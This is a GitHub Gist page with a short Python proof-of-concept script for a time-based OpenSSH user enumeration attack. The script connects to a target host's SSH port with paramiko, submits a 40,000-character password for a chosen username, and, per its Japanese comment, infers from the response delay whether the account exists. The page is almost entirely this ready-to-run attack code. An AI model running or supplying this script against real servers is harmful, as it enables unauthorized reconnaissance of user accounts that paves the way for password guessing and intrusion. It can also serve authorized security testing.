Last active
August 29, 2015 14:02
-
-
Save ozuma/43a30b3498c6e5f0781c to your computer and use it in GitHub Desktop.
OpenSSH User Enumeration Time-Based Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# coding: UTF-8 | |
# OpenSSH User Enumeration Time-Based Attack | |
# https://cureblog.de/2013/07/openssh-user-enumeration-time-based-attack/ | |
# 存在するユーザの場合は数十秒、存在しないユーザならば数秒で終わるため判定可能 | |
import sys | |
import socket | |
import paramiko | |
hostname = sys.argv[1] | |
user = sys.argv[2] | |
s = socket.create_connection((hostname, 22)) | |
t = paramiko.Transport(s) | |
t.connect(username = user) | |
t.auth_password(user,'A' * 40000) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment